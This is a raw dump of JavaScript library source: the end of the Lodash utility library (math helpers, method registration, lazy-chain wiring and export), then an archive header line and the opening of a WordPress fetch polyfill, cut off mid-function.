     * @param {number} [precision=0] The precision to round up to.
     * @returns {number} Returns the rounded up number.
     * @example
     *
     * _.ceil(4.006);
     * // => 5
     *
     * _.ceil(6.004, 2);
     * // => 6.01
     *
     * _.ceil(6040, -2);
     * // => 6100
     */
    var ceil = createRound('ceil');

    /**
     * Divide two numbers.
     *
     * @static
     * @memberOf _
     * @since 4.7.0
     * @category Math
     * @param {number} dividend The first number in a division.
     * @param {number} divisor The second number in a division.
     * @returns {number} Returns the quotient.
     * @example
     *
     * _.divide(6, 4);
     * // => 1.5
     */
    var divide = createMathOperation(function(dividend, divisor) {
      return dividend / divisor;
    }, 1);

    /**
     * Computes `number` rounded down to `precision`.
     *
     * @static
     * @memberOf _
     * @since 3.10.0
     * @category Math
     * @param {number} number The number to round down.
     * @param {number} [precision=0] The precision to round down to.
     * @returns {number} Returns the rounded down number.
     * @example
     *
     * _.floor(4.006);
     * // => 4
     *
     * _.floor(0.046, 2);
     * // => 0.04
     *
     * _.floor(4060, -2);
     * // => 4000
     */
    var floor = createRound('floor');

    /**
     * Computes the maximum value of `array`. If `array` is empty or falsey,
     * `undefined` is returned.
     *
     * @static
     * @since 0.1.0
     * @memberOf _
     * @category Math
     * @param {Array} array The array to iterate over.
     * @returns {*} Returns the maximum value.
     * @example
     *
     * _.max([4, 2, 8, 6]);
     * // => 8
     *
     * _.max([]);
     * // => undefined
     */
    function max(array) {
      return (array && array.length)
        ? baseExtremum(array, identity, baseGt)
        : undefined;
    }

    /**
     * This method is like `_.max` except that it accepts `iteratee` which is
     * invoked for each element in `array` to generate the criterion by which
     * the value is ranked. The iteratee is invoked with one argument: (value).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Math
     * @param {Array} array The array to iterate over.
     * @param {Function} [iteratee=_.identity] The iteratee invoked per element.
     * @returns {*} Returns the maximum value.
     * @example
     *
     * var objects = [{ 'n': 1 }, { 'n': 2 }];
     *
     * _.maxBy(objects, function(o) { return o.n; });
     * // => { 'n': 2 }
     *
     * // The `_.property` iteratee shorthand.
     * _.maxBy(objects, 'n');
     * // => { 'n': 2 }
     */
    function maxBy(array, iteratee) {
      return (array && array.length)
        ? baseExtremum(array, getIteratee(iteratee, 2), baseGt)
        : undefined;
    }

    /**
     * Computes the mean of the values in `array`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Math
     * @param {Array} array The array to iterate over.
     * @returns {number} Returns the mean.
     * @example
     *
     * _.mean([4, 2, 8, 6]);
     * // => 5
     */
    function mean(array) {
      return baseMean(array, identity);
    }

    /**
     * This method is like `_.mean` except that it accepts `iteratee` which is
     * invoked for each element in `array` to generate the value to be averaged.
     * The iteratee is invoked with one argument: (value).
     *
     * @static
     * @memberOf _
     * @since 4.7.0
     * @category Math
     * @param {Array} array The array to iterate over.
     * @param {Function} [iteratee=_.identity] The iteratee invoked per element.
     * @returns {number} Returns the mean.
     * @example
     *
     * var objects = [{ 'n': 4 }, { 'n': 2 }, { 'n': 8 }, { 'n': 6 }];
     *
     * _.meanBy(objects, function(o) { return o.n; });
     * // => 5
     *
     * // The `_.property` iteratee shorthand.
     * _.meanBy(objects, 'n');
     * // => 5
     */
    function meanBy(array, iteratee) {
      return baseMean(array, getIteratee(iteratee, 2));
    }

    /**
     * Computes the minimum value of `array`. If `array` is empty or falsey,
     * `undefined` is returned.
     *
     * @static
     * @since 0.1.0
     * @memberOf _
     * @category Math
     * @param {Array} array The array to iterate over.
     * @returns {*} Returns the minimum value.
     * @example
     *
     * _.min([4, 2, 8, 6]);
     * // => 2
     *
     * _.min([]);
     * // => undefined
     */
    function min(array) {
      return (array && array.length)
        ? baseExtremum(array, identity, baseLt)
        : undefined;
    }

    /**
     * This method is like `_.min` except that it accepts `iteratee` which is
     * invoked for each element in `array` to generate the criterion by which
     * the value is ranked. The iteratee is invoked with one argument: (value).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Math
     * @param {Array} array The array to iterate over.
     * @param {Function} [iteratee=_.identity] The iteratee invoked per element.
     * @returns {*} Returns the minimum value.
     * @example
     *
     * var objects = [{ 'n': 1 }, { 'n': 2 }];
     *
     * _.minBy(objects, function(o) { return o.n; });
     * // => { 'n': 1 }
     *
     * // The `_.property` iteratee shorthand.
     * _.minBy(objects, 'n');
     * // => { 'n': 1 }
     */
    function minBy(array, iteratee) {
      return (array && array.length)
        ? baseExtremum(array, getIteratee(iteratee, 2), baseLt)
        : undefined;
    }

    /**
     * Multiply two numbers.
     *
     * @static
     * @memberOf _
     * @since 4.7.0
     * @category Math
     * @param {number} multiplier The first number in a multiplication.
     * @param {number} multiplicand The second number in a multiplication.
     * @returns {number} Returns the product.
     * @example
     *
     * _.multiply(6, 4);
     * // => 24
     */
    var multiply = createMathOperation(function(multiplier, multiplicand) {
      return multiplier * multiplicand;
    }, 1);

    /**
     * Computes `number` rounded to `precision`.
     *
     * @static
     * @memberOf _
     * @since 3.10.0
     * @category Math
     * @param {number} number The number to round.
     * @param {number} [precision=0] The precision to round to.
     * @returns {number} Returns the rounded number.
     * @example
     *
     * _.round(4.006);
     * // => 4
     *
     * _.round(4.006, 2);
     * // => 4.01
     *
     * _.round(4060, -2);
     * // => 4100
     */
    var round = createRound('round');

    /**
     * Subtract two numbers.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Math
     * @param {number} minuend The first number in a subtraction.
     * @param {number} subtrahend The second number in a subtraction.
     * @returns {number} Returns the difference.
     * @example
     *
     * _.subtract(6, 4);
     * // => 2
     */
    var subtract = createMathOperation(function(minuend, subtrahend) {
      return minuend - subtrahend;
    }, 0);

    /**
     * Computes the sum of the values in `array`.
     *
     * @static
     * @memberOf _
     * @since 3.4.0
     * @category Math
     * @param {Array} array The array to iterate over.
     * @returns {number} Returns the sum.
     * @example
     *
     * _.sum([4, 2, 8, 6]);
     * // => 20
     */
    function sum(array) {
      return (array && array.length)
        ? baseSum(array, identity)
        : 0;
    }

    /**
     * This method is like `_.sum` except that it accepts `iteratee` which is
     * invoked for each element in `array` to generate the value to be summed.
     * The iteratee is invoked with one argument: (value).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Math
     * @param {Array} array The array to iterate over.
     * @param {Function} [iteratee=_.identity] The iteratee invoked per element.
     * @returns {number} Returns the sum.
     * @example
     *
     * var objects = [{ 'n': 4 }, { 'n': 2 }, { 'n': 8 }, { 'n': 6 }];
     *
     * _.sumBy(objects, function(o) { return o.n; });
     * // => 20
     *
     * // The `_.property` iteratee shorthand.
     * _.sumBy(objects, 'n');
     * // => 20
     */
    function sumBy(array, iteratee) {
      return (array && array.length)
        ? baseSum(array, getIteratee(iteratee, 2))
        : 0;
    }

    /*------------------------------------------------------------------------*/

    // Add methods that return wrapped values in chain sequences.
    lodash.after = after;
    lodash.ary = ary;
    lodash.assign = assign;
    lodash.assignIn = assignIn;
    lodash.assignInWith = assignInWith;
    lodash.assignWith = assignWith;
    lodash.at = at;
    lodash.before = before;
    lodash.bind = bind;
    lodash.bindAll = bindAll;
    lodash.bindKey = bindKey;
    lodash.castArray = castArray;
    lodash.chain = chain;
    lodash.chunk = chunk;
    lodash.compact = compact;
    lodash.concat = concat;
    lodash.cond = cond;
    lodash.conforms = conforms;
    lodash.constant = constant;
    lodash.countBy = countBy;
    lodash.create = create;
    lodash.curry = curry;
    lodash.curryRight = curryRight;
    lodash.debounce = debounce;
    lodash.defaults = defaults;
    lodash.defaultsDeep = defaultsDeep;
    lodash.defer = defer;
    lodash.delay = delay;
    lodash.difference = difference;
    lodash.differenceBy = differenceBy;
    lodash.differenceWith = differenceWith;
    lodash.drop = drop;
    lodash.dropRight = dropRight;
    lodash.dropRightWhile = dropRightWhile;
    lodash.dropWhile = dropWhile;
    lodash.fill = fill;
    lodash.filter = filter;
    lodash.flatMap = flatMap;
    lodash.flatMapDeep = flatMapDeep;
    lodash.flatMapDepth = flatMapDepth;
    lodash.flatten = flatten;
    lodash.flattenDeep = flattenDeep;
    lodash.flattenDepth = flattenDepth;
    lodash.flip = flip;
    lodash.flow = flow;
    lodash.flowRight = flowRight;
    lodash.fromPairs = fromPairs;
    lodash.functions = functions;
    lodash.functionsIn = functionsIn;
    lodash.groupBy = groupBy;
    lodash.initial = initial;
    lodash.intersection = intersection;
    lodash.intersectionBy = intersectionBy;
    lodash.intersectionWith = intersectionWith;
    lodash.invert = invert;
    lodash.invertBy = invertBy;
    lodash.invokeMap = invokeMap;
    lodash.iteratee = iteratee;
    lodash.keyBy = keyBy;
    lodash.keys = keys;
    lodash.keysIn = keysIn;
    lodash.map = map;
    lodash.mapKeys = mapKeys;
    lodash.mapValues = mapValues;
    lodash.matches = matches;
    lodash.matchesProperty = matchesProperty;
    lodash.memoize = memoize;
    lodash.merge = merge;
    lodash.mergeWith = mergeWith;
    lodash.method = method;
    lodash.methodOf = methodOf;
    lodash.mixin = mixin;
    lodash.negate = negate;
    lodash.nthArg = nthArg;
    lodash.omit = omit;
    lodash.omitBy = omitBy;
    lodash.once = once;
    lodash.orderBy = orderBy;
    lodash.over = over;
    lodash.overArgs = overArgs;
    lodash.overEvery = overEvery;
    lodash.overSome = overSome;
    lodash.partial = partial;
    lodash.partialRight = partialRight;
    lodash.partition = partition;
    lodash.pick = pick;
    lodash.pickBy = pickBy;
    lodash.property = property;
    lodash.propertyOf = propertyOf;
    lodash.pull = pull;
    lodash.pullAll = pullAll;
    lodash.pullAllBy = pullAllBy;
    lodash.pullAllWith = pullAllWith;
    lodash.pullAt = pullAt;
    lodash.range = range;
    lodash.rangeRight = rangeRight;
    lodash.rearg = rearg;
    lodash.reject = reject;
    lodash.remove = remove;
    lodash.rest = rest;
    lodash.reverse = reverse;
    lodash.sampleSize = sampleSize;
    lodash.set = set;
    lodash.setWith = setWith;
    lodash.shuffle = shuffle;
    lodash.slice = slice;
    lodash.sortBy = sortBy;
    lodash.sortedUniq = sortedUniq;
    lodash.sortedUniqBy = sortedUniqBy;
    lodash.split = split;
    lodash.spread = spread;
    lodash.tail = tail;
    lodash.take = take;
    lodash.takeRight = takeRight;
    lodash.takeRightWhile = takeRightWhile;
    lodash.takeWhile = takeWhile;
    lodash.tap = tap;
    lodash.throttle = throttle;
    lodash.thru = thru;
    lodash.toArray = toArray;
    lodash.toPairs = toPairs;
    lodash.toPairsIn = toPairsIn;
    lodash.toPath = toPath;
    lodash.toPlainObject = toPlainObject;
    lodash.transform = transform;
    lodash.unary = unary;
    lodash.union = union;
    lodash.unionBy = unionBy;
    lodash.unionWith = unionWith;
    lodash.uniq = uniq;
    lodash.uniqBy = uniqBy;
    lodash.uniqWith = uniqWith;
    lodash.unset = unset;
    lodash.unzip = unzip;
    lodash.unzipWith = unzipWith;
    lodash.update = update;
    lodash.updateWith = updateWith;
    lodash.values = values;
    lodash.valuesIn = valuesIn;
    lodash.without = without;
    lodash.words = words;
    lodash.wrap = wrap;
    lodash.xor = xor;
    lodash.xorBy = xorBy;
    lodash.xorWith = xorWith;
    lodash.zip = zip;
    lodash.zipObject = zipObject;
    lodash.zipObjectDeep = zipObjectDeep;
    lodash.zipWith = zipWith;

    // Add aliases.
    lodash.entries = toPairs;
    lodash.entriesIn = toPairsIn;
    lodash.extend = assignIn;
    lodash.extendWith = assignInWith;

    // Add methods to `lodash.prototype`.
    mixin(lodash, lodash);

    /*------------------------------------------------------------------------*/

    // Add methods that return unwrapped values in chain sequences.
    lodash.add = add;
    lodash.attempt = attempt;
    lodash.camelCase = camelCase;
    lodash.capitalize = capitalize;
    lodash.ceil = ceil;
    lodash.clamp = clamp;
    lodash.clone = clone;
    lodash.cloneDeep = cloneDeep;
    lodash.cloneDeepWith = cloneDeepWith;
    lodash.cloneWith = cloneWith;
    lodash.conformsTo = conformsTo;
    lodash.deburr = deburr;
    lodash.defaultTo = defaultTo;
    lodash.divide = divide;
    lodash.endsWith = endsWith;
    lodash.eq = eq;
    lodash.escape = escape;
    lodash.escapeRegExp = escapeRegExp;
    lodash.every = every;
    lodash.find = find;
    lodash.findIndex = findIndex;
    lodash.findKey = findKey;
    lodash.findLast = findLast;
    lodash.findLastIndex = findLastIndex;
    lodash.findLastKey = findLastKey;
    lodash.floor = floor;
    lodash.forEach = forEach;
    lodash.forEachRight = forEachRight;
    lodash.forIn = forIn;
    lodash.forInRight = forInRight;
    lodash.forOwn = forOwn;
    lodash.forOwnRight = forOwnRight;
    lodash.get = get;
    lodash.gt = gt;
    lodash.gte = gte;
    lodash.has = has;
    lodash.hasIn = hasIn;
    lodash.head = head;
    lodash.identity = identity;
    lodash.includes = includes;
    lodash.indexOf = indexOf;
    lodash.inRange = inRange;
    lodash.invoke = invoke;
    lodash.isArguments = isArguments;
    lodash.isArray = isArray;
    lodash.isArrayBuffer = isArrayBuffer;
    lodash.isArrayLike = isArrayLike;
    lodash.isArrayLikeObject = isArrayLikeObject;
    lodash.isBoolean = isBoolean;
    lodash.isBuffer = isBuffer;
    lodash.isDate = isDate;
    lodash.isElement = isElement;
    lodash.isEmpty = isEmpty;
    lodash.isEqual = isEqual;
    lodash.isEqualWith = isEqualWith;
    lodash.isError = isError;
    lodash.isFinite = isFinite;
    lodash.isFunction = isFunction;
    lodash.isInteger = isInteger;
    lodash.isLength = isLength;
    lodash.isMap = isMap;
    lodash.isMatch = isMatch;
    lodash.isMatchWith = isMatchWith;
    lodash.isNaN = isNaN;
    lodash.isNative = isNative;
    lodash.isNil = isNil;
    lodash.isNull = isNull;
    lodash.isNumber = isNumber;
    lodash.isObject = isObject;
    lodash.isObjectLike = isObjectLike;
    lodash.isPlainObject = isPlainObject;
    lodash.isRegExp = isRegExp;
    lodash.isSafeInteger = isSafeInteger;
    lodash.isSet = isSet;
    lodash.isString = isString;
    lodash.isSymbol = isSymbol;
    lodash.isTypedArray = isTypedArray;
    lodash.isUndefined = isUndefined;
    lodash.isWeakMap = isWeakMap;
    lodash.isWeakSet = isWeakSet;
    lodash.join = join;
    lodash.kebabCase = kebabCase;
    lodash.last = last;
    lodash.lastIndexOf = lastIndexOf;
    lodash.lowerCase = lowerCase;
    lodash.lowerFirst = lowerFirst;
    lodash.lt = lt;
    lodash.lte = lte;
    lodash.max = max;
    lodash.maxBy = maxBy;
    lodash.mean = mean;
    lodash.meanBy = meanBy;
    lodash.min = min;
    lodash.minBy = minBy;
    lodash.stubArray = stubArray;
    lodash.stubFalse = stubFalse;
    lodash.stubObject = stubObject;
    lodash.stubString = stubString;
    lodash.stubTrue = stubTrue;
    lodash.multiply = multiply;
    lodash.nth = nth;
    lodash.noConflict = noConflict;
    lodash.noop = noop;
    lodash.now = now;
    lodash.pad = pad;
    lodash.padEnd = padEnd;
    lodash.padStart = padStart;
    lodash.parseInt = parseInt;
    lodash.random = random;
    lodash.reduce = reduce;
    lodash.reduceRight = reduceRight;
    lodash.repeat = repeat;
    lodash.replace = replace;
    lodash.result = result;
    lodash.round = round;
    lodash.runInContext = runInContext;
    lodash.sample = sample;
    lodash.size = size;
    lodash.snakeCase = snakeCase;
    lodash.some = some;
    lodash.sortedIndex = sortedIndex;
    lodash.sortedIndexBy = sortedIndexBy;
    lodash.sortedIndexOf = sortedIndexOf;
    lodash.sortedLastIndex = sortedLastIndex;
    lodash.sortedLastIndexBy = sortedLastIndexBy;
    lodash.sortedLastIndexOf = sortedLastIndexOf;
    lodash.startCase = startCase;
    lodash.startsWith = startsWith;
    lodash.subtract = subtract;
    lodash.sum = sum;
    lodash.sumBy = sumBy;
    lodash.template = template;
    lodash.times = times;
    lodash.toFinite = toFinite;
    lodash.toInteger = toInteger;
    lodash.toLength = toLength;
    lodash.toLower = toLower;
    lodash.toNumber = toNumber;
    lodash.toSafeInteger = toSafeInteger;
    lodash.toString = toString;
    lodash.toUpper = toUpper;
    lodash.trim = trim;
    lodash.trimEnd = trimEnd;
    lodash.trimStart = trimStart;
    lodash.truncate = truncate;
    lodash.unescape = unescape;
    lodash.uniqueId = uniqueId;
    lodash.upperCase = upperCase;
    lodash.upperFirst = upperFirst;

    // Add aliases.
    lodash.each = forEach;
    lodash.eachRight = forEachRight;
    lodash.first = head;

    mixin(lodash, (function() {
      var source = {};
      baseForOwn(lodash, function(func, methodName) {
        if (!hasOwnProperty.call(lodash.prototype, methodName)) {
          source[methodName] = func;
        }
      });
      return source;
    }()), { 'chain': false });

    /*------------------------------------------------------------------------*/

    /**
     * The semantic version number.
     *
     * @static
     * @memberOf _
     * @type {string}
     */
    lodash.VERSION = VERSION;

    // Assign default placeholders.
    arrayEach(['bind', 'bindKey', 'curry', 'curryRight', 'partial', 'partialRight'], function(methodName) {
      lodash[methodName].placeholder = lodash;
    });

    // Add `LazyWrapper` methods for `_.drop` and `_.take` variants.
    arrayEach(['drop', 'take'], function(methodName, index) {
      LazyWrapper.prototype[methodName] = function(n) {
        n = n === undefined ? 1 : nativeMax(toInteger(n), 0);

        var result = (this.__filtered__ && !index)
          ? new LazyWrapper(this)
          : this.clone();

        if (result.__filtered__) {
          result.__takeCount__ = nativeMin(n, result.__takeCount__);
        } else {
          result.__views__.push({
            'size': nativeMin(n, MAX_ARRAY_LENGTH),
            'type': methodName + (result.__dir__ < 0 ? 'Right' : '')
          });
        }
        return result;
      };

      LazyWrapper.prototype[methodName + 'Right'] = function(n) {
        return this.reverse()[methodName](n).reverse();
      };
    });

    // Add `LazyWrapper` methods that accept an `iteratee` value.
    arrayEach(['filter', 'map', 'takeWhile'], function(methodName, index) {
      var type = index + 1,
          isFilter = type == LAZY_FILTER_FLAG || type == LAZY_WHILE_FLAG;

      LazyWrapper.prototype[methodName] = function(iteratee) {
        var result = this.clone();
        result.__iteratees__.push({
          'iteratee': getIteratee(iteratee, 3),
          'type': type
        });
        result.__filtered__ = result.__filtered__ || isFilter;
        return result;
      };
    });

    // Add `LazyWrapper` methods for `_.head` and `_.last`.
    arrayEach(['head', 'last'], function(methodName, index) {
      var takeName = 'take' + (index ? 'Right' : '');

      LazyWrapper.prototype[methodName] = function() {
        return this[takeName](1).value()[0];
      };
    });

    // Add `LazyWrapper` methods for `_.initial` and `_.tail`.
    arrayEach(['initial', 'tail'], function(methodName, index) {
      var dropName = 'drop' + (index ? '' : 'Right');

      LazyWrapper.prototype[methodName] = function() {
        return this.__filtered__ ? new LazyWrapper(this) : this[dropName](1);
      };
    });

    LazyWrapper.prototype.compact = function() {
      return this.filter(identity);
    };

    LazyWrapper.prototype.find = function(predicate) {
      return this.filter(predicate).head();
    };

    LazyWrapper.prototype.findLast = function(predicate) {
      return this.reverse().find(predicate);
    };

    LazyWrapper.prototype.invokeMap = baseRest(function(path, args) {
      if (typeof path == 'function') {
        return new LazyWrapper(this);
      }
      return this.map(function(value) {
        return baseInvoke(value, path, args);
      });
    });

    LazyWrapper.prototype.reject = function(predicate) {
      return this.filter(negate(getIteratee(predicate)));
    };

    LazyWrapper.prototype.slice = function(start, end) {
      start = toInteger(start);

      var result = this;
      if (result.__filtered__ && (start > 0 || end < 0)) {
        return new LazyWrapper(result);
      }
      if (start < 0) {
        result = result.takeRight(-start);
      } else if (start) {
        result = result.drop(start);
      }
      if (end !== undefined) {
        end = toInteger(end);
        result = end < 0 ? result.dropRight(-end) : result.take(end - start);
      }
      return result;
    };

    LazyWrapper.prototype.takeRightWhile = function(predicate) {
      return this.reverse().takeWhile(predicate).reverse();
    };

    LazyWrapper.prototype.toArray = function() {
      return this.take(MAX_ARRAY_LENGTH);
    };

    // Add `LazyWrapper` methods to `lodash.prototype`.
    baseForOwn(LazyWrapper.prototype, function(func, methodName) {
      var checkIteratee = /^(?:filter|find|map|reject)|While$/.test(methodName),
          isTaker = /^(?:head|last)$/.test(methodName),
          lodashFunc = lodash[isTaker ? ('take' + (methodName == 'last' ? 'Right' : '')) : methodName],
          retUnwrapped = isTaker || /^find/.test(methodName);

      if (!lodashFunc) {
        return;
      }
      lodash.prototype[methodName] = function() {
        var value = this.__wrapped__,
            args = isTaker ? [1] : arguments,
            isLazy = value instanceof LazyWrapper,
            iteratee = args[0],
            useLazy = isLazy || isArray(value);

        var interceptor = function(value) {
          var result = lodashFunc.apply(lodash, arrayPush([value], args));
          return (isTaker && chainAll) ? result[0] : result;
        };

        if (useLazy && checkIteratee && typeof iteratee == 'function' && iteratee.length != 1) {
          // Avoid lazy use if the iteratee has a "length" value other than `1`.
          isLazy = useLazy = false;
        }
        var chainAll = this.__chain__,
            isHybrid = !!this.__actions__.length,
            isUnwrapped = retUnwrapped && !chainAll,
            onlyLazy = isLazy && !isHybrid;

        if (!retUnwrapped && useLazy) {
          value = onlyLazy ? value : new LazyWrapper(this);
          var result = func.apply(value, args);
          result.__actions__.push({ 'func': thru, 'args': [interceptor], 'thisArg': undefined });
          return new LodashWrapper(result, chainAll);
        }
        if (isUnwrapped && onlyLazy) {
          return func.apply(this, args);
        }
        result = this.thru(interceptor);
        return isUnwrapped ? (isTaker ? result.value()[0] : result.value()) : result;
      };
    });

    // Add `Array` methods to `lodash.prototype`.
    arrayEach(['pop', 'push', 'shift', 'sort', 'splice', 'unshift'], function(methodName) {
      var func = arrayProto[methodName],
          chainName = /^(?:push|sort|unshift)$/.test(methodName) ? 'tap' : 'thru',
          retUnwrapped = /^(?:pop|shift)$/.test(methodName);

      lodash.prototype[methodName] = function() {
        var args = arguments;
        if (retUnwrapped && !this.__chain__) {
          var value = this.value();
          return func.apply(isArray(value) ? value : [], args);
        }
        return this[chainName](function(value) {
          return func.apply(isArray(value) ? value : [], args);
        });
      };
    });

    // Map minified method names to their real names.
    baseForOwn(LazyWrapper.prototype, function(func, methodName) {
      var lodashFunc = lodash[methodName];
      if (lodashFunc) {
        var key = lodashFunc.name + '';
        if (!hasOwnProperty.call(realNames, key)) {
          realNames[key] = [];
        }
        realNames[key].push({ 'name': methodName, 'func': lodashFunc });
      }
    });

    realNames[createHybrid(undefined, WRAP_BIND_KEY_FLAG).name] = [{
      'name': 'wrapper',
      'func': undefined
    }];

    // Add methods to `LazyWrapper`.
    LazyWrapper.prototype.clone = lazyClone;
    LazyWrapper.prototype.reverse = lazyReverse;
    LazyWrapper.prototype.value = lazyValue;

    // Add chain sequence methods to the `lodash` wrapper.
    lodash.prototype.at = wrapperAt;
    lodash.prototype.chain = wrapperChain;
    lodash.prototype.commit = wrapperCommit;
    lodash.prototype.next = wrapperNext;
    lodash.prototype.plant = wrapperPlant;
    lodash.prototype.reverse = wrapperReverse;
    lodash.prototype.toJSON = lodash.prototype.valueOf = lodash.prototype.value = wrapperValue;

    // Add lazy aliases.
    lodash.prototype.first = lodash.prototype.head;

    if (symIterator) {
      lodash.prototype[symIterator] = wrapperToIterator;
    }
    return lodash;
  });

  /*--------------------------------------------------------------------------*/

  // Export lodash.
  var _ = runInContext();

  // Some AMD build optimizers, like r.js, check for condition patterns like:
  if (typeof define == 'function' && typeof define.amd == 'object' && define.amd) {
    // Expose Lodash on the global object to prevent errors when Lodash is
    // loaded by a script tag in the presence of an AMD loader.
    // See http://requirejs.org/docs/errors.html#mismatch for more details.
    // Use `_.noConflict` to remove Lodash from the global object.
    root._ = _;

    // Define as an anonymous module so, through path mapping, it can be
    // referenced as the "underscore" module.
    define(function() {
      return _;
    });
  }
  // Check for `exports` after `define` in case a build optimizer adds it.
  else if (freeModule) {
    // Export for Node.js.
    (freeModule.exports = _)._ = _;
    // Export for CommonJS support.
    freeExports._ = _;
  }
  else {
    // Export to the global object.
    root._ = _;
  }
}.call(this));
PKGfd[p�ֵgMgMwp-polyfill-fetch.jsnu�[���(function (global, factory) {
  typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports) :
  typeof define === 'function' && define.amd ? define(['exports'], factory) :
  (factory((global.WHATWGFetch = {})));
}(this, (function (exports) { 'use strict';

  /* eslint-disable no-prototype-builtins */
  var g =
    (typeof globalThis !== 'undefined' && globalThis) ||
    (typeof self !== 'undefined' && self) ||
    // eslint-disable-next-line no-undef
    (typeof global !== 'undefined' && global) ||
    {};

  var support = {
    searchParams: 'URLSearchParams' in g,
    iterable: 'Symbol' in g && 'iterator' in Symbol,
    blob:
      'FileReader' in g &&
      'Blob' in g &&
      (function() {
        try {
          new Blob();
          return true
        } catch (e) {
          return false
        }
      })(),
    formData: 'FormData' in g,
    arrayBuffer: 'ArrayBuffer' in g
  };

  function isDataView(obj) {
    return obj && DataView.prototype.isPrototypeOf(obj)
  }

  if (support.arrayBuffer) {
    var viewClasses = [
      '[object Int8Array]',
      '[object Uint8Array]',
      '[object Uint8ClampedArray]',
      '[object Int16Array]',
      '[object Uint16Array]',
      '[object Int32Array]',
      '[object Uint32Array]',
      '[object Float32Array]',
      '[object Float64Array]'
    ];

    var isArrayBufferView =
      ArrayBuffer.isView ||
      function(obj) {
        return obj && viewClasses.indexOf(Object.prototype.toString.call(obj)) > -1
      };
  }

  function normalizeName(name) {
    if (typeof name !== 'string') {
      name = String(name);
    }
    if (/[^a-z0-9\-#$%&'*+.^_`|~!]/i.test(name) || name === '') {
      throw new TypeError('Invalid character in header field name: "' + name + '"')
    }
    return name.toLowerCase()
  }

  function normalizeValue(value) {
    if (typeof value !== 'string') {
      value = String(value);
    }
    return value
  }

  // Build a destructive iterator for the value list
  function iteratorFor(items) {
    var iterator = {
      next: function() {
        var value = items.shift();
        return {done: value === undefined, value: value}
      }
    };

    if (support.iterable) {
      iterator[Symbol.iterator] = function() {
        return iterator
      };
    }

    return iterator
  }

  function Headers(headers) {
    this.map = {};

    if (headers instanceof Headers) {
      headers.forEach(function(value, name) {
        this.append(name, value);
      }, this);
    } else if (Array.isArray(headers)) {
      headers.forEach(function(header) {
        if (header.length != 2) {
          throw new TypeError('Headers constructor: expected name/value pair to be length 2, found' + header.length)
        }
        this.append(header[0], header[1]);
      }, this);
    } else if (headers) {
      Object.getOwnPropertyNames(headers).forEach(function(name) {
        this.append(name, headers[name]);
      }, this);
    }
  }

  Headers.prototype.append = function(name, value) {
    name = normalizeName(name);
    value = normalizeValue(value);
    var oldValue = this.map[name];
    this.map[name] = oldValue ? oldValue + ', ' + value : value;
  };

  Headers.prototype['delete'] = function(name) {
    delete this.map[normalizeName(name)];
  };

  Headers.prototype.get = function(name) {
    name = normalizeName(name);
    return this.has(name) ? this.map[name] : null
  };

  Headers.prototype.has = function(name) {
    return this.map.hasOwnProperty(normalizeName(name))
  };

  Headers.prototype.set = function(name, value) {
    this.map[normalizeName(name)] = normalizeValue(value);
  };

  Headers.prototype.forEach = function(callback, thisArg) {
    for (var name in this.map) {
      if (this.map.hasOwnProperty(name)) {
        callback.call(thisArg, this.map[name], name, this);
      }
    }
  };

  Headers.prototype.keys = function() {
    var items = [];
    this.forEach(function(value, name) {
      items.push(name);
    });
    return iteratorFor(items)
  };

  Headers.prototype.values = function() {
    var items = [];
    this.forEach(function(value) {
      items.push(value);
    });
    return iteratorFor(items)
  };

  Headers.prototype.entries = function() {
    var items = [];
    this.forEach(function(value, name) {
      items.push([name, value]);
    });
    return iteratorFor(items)
  };

  if (support.iterable) {
    Headers.prototype[Symbol.iterator] = Headers.prototype.entries;
  }

  function consumed(body) {
    if (body._noBody) return
    if (body.bodyUsed) {
      return Promise.reject(new TypeError('Already read'))
    }
    body.bodyUsed = true;
  }

  function fileReaderReady(reader) {
    return new Promise(function(resolve, reject) {
      reader.onload = function() {
        resolve(reader.result);
      };
      reader.onerror = function() {
        reject(reader.error);
      };
    })
  }

  function readBlobAsArrayBuffer(blob) {
    var reader = new FileReader();
    var promise = fileReaderReady(reader);
    reader.readAsArrayBuffer(blob);
    return promise
  }

  function readBlobAsText(blob) {
    var reader = new FileReader();
    var promise = fileReaderReady(reader);
    var match = /charset=([A-Za-z0-9_-]+)/.exec(blob.type);
    var encoding = match ? match[1] : 'utf-8';
    reader.readAsText(blob, encoding);
    return promise
  }

  function readArrayBufferAsText(buf) {
    var view = new Uint8Array(buf);
    var chars = new Array(view.length);

    for (var i = 0; i < view.length; i++) {
      chars[i] = String.fromCharCode(view[i]);
    }
    return chars.join('')
  }

  function bufferClone(buf) {
    if (buf.slice) {
      return buf.slice(0)
    } else {
      var view = new Uint8Array(buf.byteLength);
      view.set(new Uint8Array(buf));
      return view.buffer
    }
  }

  function Body() {
    this.bodyUsed = false;

    this._initBody = function(body) {
      /*
        fetch-mock wraps the Response object in an ES6 Proxy to
        provide useful test harness features such as flush. However, on
        ES5 browsers without fetch or Proxy support pollyfills must be used;
        the proxy-pollyfill is unable to proxy an attribute unless it exists
        on the object before the Proxy is created. This change ensures
        Response.bodyUsed exists on the instance, while maintaining the
        semantic of setting Request.bodyUsed in the constructor before
        _initBody is called.
      */
      // eslint-disable-next-line no-self-assign
      this.bodyUsed = this.bodyUsed;
      this._bodyInit = body;
      if (!body) {
        this._noBody = true;
        this._bodyText = '';
      } else if (typeof body === 'string') {
        this._bodyText = body;
      } else if (support.blob && Blob.prototype.isPrototypeOf(body)) {
        this._bodyBlob = body;
      } else if (support.formData && FormData.prototype.isPrototypeOf(body)) {
        this._bodyFormData = body;
      } else if (support.searchParams && URLSearchParams.prototype.isPrototypeOf(body)) {
        this._bodyText = body.toString();
      } else if (support.arrayBuffer && support.blob && isDataView(body)) {
        this._bodyArrayBuffer = bufferClone(body.buffer);
        // IE 10-11 can't handle a DataView body.
        this._bodyInit = new Blob([this._bodyArrayBuffer]);
      } else if (support.arrayBuffer && (ArrayBuffer.prototype.isPrototypeOf(body) || isArrayBufferView(body))) {
        this._bodyArrayBuffer = bufferClone(body);
      } else {
        this._bodyText = body = Object.prototype.toString.call(body);
      }

      if (!this.headers.get('content-type')) {
        if (typeof body === 'string') {
          this.headers.set('content-type', 'text/plain;charset=UTF-8');
        } else if (this._bodyBlob && this._bodyBlob.type) {
          this.headers.set('content-type', this._bodyBlob.type);
        } else if (support.searchParams && URLSearchParams.prototype.isPrototypeOf(body)) {
